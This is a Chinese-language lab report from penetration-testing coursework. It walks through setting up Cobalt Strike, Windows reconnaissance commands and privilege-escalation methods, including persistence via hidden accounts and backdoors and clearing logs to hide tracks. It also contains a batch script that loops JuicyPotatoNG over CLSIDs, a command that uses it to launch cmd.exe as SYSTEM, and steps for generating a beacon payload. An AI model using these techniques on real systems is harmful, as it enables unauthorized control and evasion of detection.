目录
一、要求
1.安装CS,写安装步骤
2.总结用户组和用户、windows信息搜集命令
3.总结手工提权思路,拿土豆提权
4.用CS插件提权,提虚拟机或本地都行
加分项:MSF提权
二、内容与步骤记录
(一)安装CS,写安装步骤
CS是目前渗透中常用的一款工具,它的强大在于控制windows木马,CS主要控制windows木马。
1.配置环境
运行CS需要客户端和服务端都有jdk支持
kali:
Windows:
2.下载安装
将下载后的文件进行解压,并传输到虚拟机。
3.启动server端
终端中,切换到server的目录,输入命令./teamserver <本机IP> <设置的密码>
4.启动客户端
进入client目录,在命令行中运行Cobalt_Strike_CN.bat ,填写信息,ip地址为刚刚的地址,密码写刚刚设置的密码:
点击Connect后就进入到了CS可视化界面。
(二)总结用户组和用户、windows信息搜集命令
1. 用户管理命令
(1)useradd:
- useradd 用户名 (添加新用户)
- useradd -g 组名 用户名 (添加新用户到某个组)
举例:useradd user1
(2)passwd:
- passwd 用户名 (设置用户密码)
(3)id
- id 用户名 (查看用户是否存在)
(4)cat /etc/passwd :查看创建的所有用户
(5)su:切换用户
- su 用户名称 (切换用户,只能获得用户的执行权限,不能获得环境变量)
- su - 用户名称 (切换到用户并获得该用户的环境变量及执行权限)
(6)exit: 回退到上一个用户
(7)userdel:删除用户
- userdel [选项] 用户名
- -r 删除用户的同时,删除与用户相关的所有文件。
(8)who:
- whoami (显示自身用户名称)
- who am i (显示登录用户的用户名)
(9)sudo :
- sudo 命令 (设置普通用户具有root权限)
* 并不是所有用户都可以使用sudo,需要提前进行配置
2.组管理类命令
(1)groupadd:
- groupadd 组名 (新增组)
(2)groupdel:
- groupdel 组名 (删除组)
(3)cat /etc/group:查看创建了所有组
(4)usermod:
- usermod [选项] 用户组 用户名 (修改用户)
- -g 修改用户的初始登录组,给定的组必须存在
例:usermod -g admin user1:将用户user1添加到用户组admin中
3.Windows信息搜集命令
(1)ipconfig /all:查询网络配置详细信息
(2)systeminfo:获取操作系统和版本信息
- systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
- systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
根据实际情况各取所需,如果操作系统是中文就选择中文命令,反之便选择英文。
(3)echo %PROCESSOR_ARCHITECTURE%:查看系统体系结构
(4)wmic product get name,version:查看安装的软件及版本
(5)wmic service list brief:查询本机服务信息
(6)查询进程信息和列表:
- wmic process list brief
- tasklist /v
(7)wmic startup get command,caption:查看启动程序信息
(8)chtasks /query /fo LIST /v:查看计划任务
(9)net localgroup administrators:获取本地管理员信息(通常含有域用户)
(10)net session:列出或断开本地计算机和连接的客户端的会话
(11)netstat –ano:查看端口列表、本机开放的端口所对应的服务和应用程序。
(三)总结手工提权思路,拿土豆提权
1.手工提权
(1)信息收集
在进行提权之前,首先需要尽可能多地收集系统信息,以确定可能存在的提权漏洞。这包括但不限于:
- 操作系统版本:了解系统是 Windows 还是 Linux,具体版本,是否有已知的漏洞。
- 补丁和更新:检查系统补丁状态,寻找未修补的漏洞。
- 用户和权限:查看当前用户及其所属组,查看是否有管理员权限或sudo权限。
- 服务和进程:列出当前运行的服务,查找是否有以高权限运行的可利用服务。
- 计划任务和启动项:查找是否有高权限用户创建的计划任务或自启动程序,这些有可能被滥用。
(2)漏洞利用
在收集信息后,可以根据具体的系统配置,寻找提权漏洞
①未打补丁的漏洞:
利用操作系统中存在的本地提权漏洞,比如 CVE 漏洞(如 MS16-032)。
②服务提权:
- 弱服务权限:服务以 SYSTEM 权限运行,但目录权限配置不当,允许低权限用户替换服务的可执行文件。
- 未引用的 DLL:高权限服务加载时会查找特定 DLL,如果其搜索路径中没有找到该 DLL,而路径又对当前用户可写,攻击者可以植入恶意 DLL。
③计划任务和启动项:
通过计划任务或启动项中以高权限执行的任务或程序,替换其执行的文件。
④注册表提权:
一些关键的注册表项如AlwaysInstallElevated可以被错误配置,允许普通用户安装以高权限运行的 MSI 包。
⑤内存和令牌盗用:
通过盗取具有高权限的进程令牌(如 SYSTEM 权限的进程),提升自己的权限。
(3)持久化
提权成功后,攻击者通常会采取一些措施来确保访问持久化,例如:
- 创建新账户:创建一个具有管理员权限的隐藏账户。
- 安装后门:通过植入恶意服务、计划任务或修改启动项来实现持久控制。
(4)日志清除
提权后,为了隐藏足迹,攻击者可能会清除系统日志或修改日志文件:
2.土豆提权
土豆提权(Potato Privilege Escalation)是一种利用 Windows 系统中不安全的本地服务或进程来提升权限的方法。它基于 Windows 系统的某些服务或进程错误配置,允许普通用户提升为 SYSTEM 权限。
这里使用juciy potato工具进行提权
(1)安装下载
链接:https://github.com/ohpe/juicy-potato
解压文件
(2)收集情况
在命令行窗口在命令行窗口使用whoami /priv查看权限,如果全都禁用则无法提权
(3)开始提权
打开Windows PowerShell ISE,使用导出所有已注册的 CLSID 到 CLSID.list 文件
Get-ChildItem -Path "Registry::HKEY_CLASSES_ROOT\CLSID" | ForEach-Object {
$_.PSChildName
} | Out-File -FilePath "D:\Bishe\JuicyPotatoNG\CLSID.list"
查看已注册的 CLSID并保存为文件
使用bat文件确定能利用的CLSID,不过好像一个能用的也没有。
*bat内容如下
@echo off
:: Starting port, you can change it
set /a port=9999
SETLOCAL ENABLEDELAYEDEXPANSION
:: Create or clear the result.log file
> result.log echo Start logging:
:: Check if CLSID.list exists
if not exist CLSID.list (
echo ERROR: CLSID.list 文件未找到! >> result.log
exit /b
)
:: Check if JuicyPotatoNG.exe exists
if not exist JuicyPotatoNG.exe (
echo ERROR: JuicyPotatoNG.exe 文件未找到! >> result.log
exit /b
)
:: Loop through each CLSID
FOR /F "tokens=*" %%i IN (CLSID.list) DO (
echo Testing CLSID: %%i on port: !port! >> result.log
JuicyPotatoNG.exe -z -l !port! -c %%i >> result.log 2>&1
set RET=!ERRORLEVEL!
echo Exit code: !RET! >> result.log
if "!RET!" == "1" (
set /a port=port+1
)
)
echo Finished processing all CLSID! >> result.log
总之在命令行使用如下命令,JuicyPotatoNG.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {00000305-0000-0000-C000-000000000046}
果然不行,如果是有效的(即有system权限的)CLSID,结果会返回nt authority\system
(四)用CS插件提权
1.进入可视化界面,添加监听器
2.点击有效载荷,生成Windows可执行程序,选择新建成的监听器并保存到本地
3.点击生成的exe,CS中出现记录
4.在下方的beacon处输入shell whoami,发现提权成功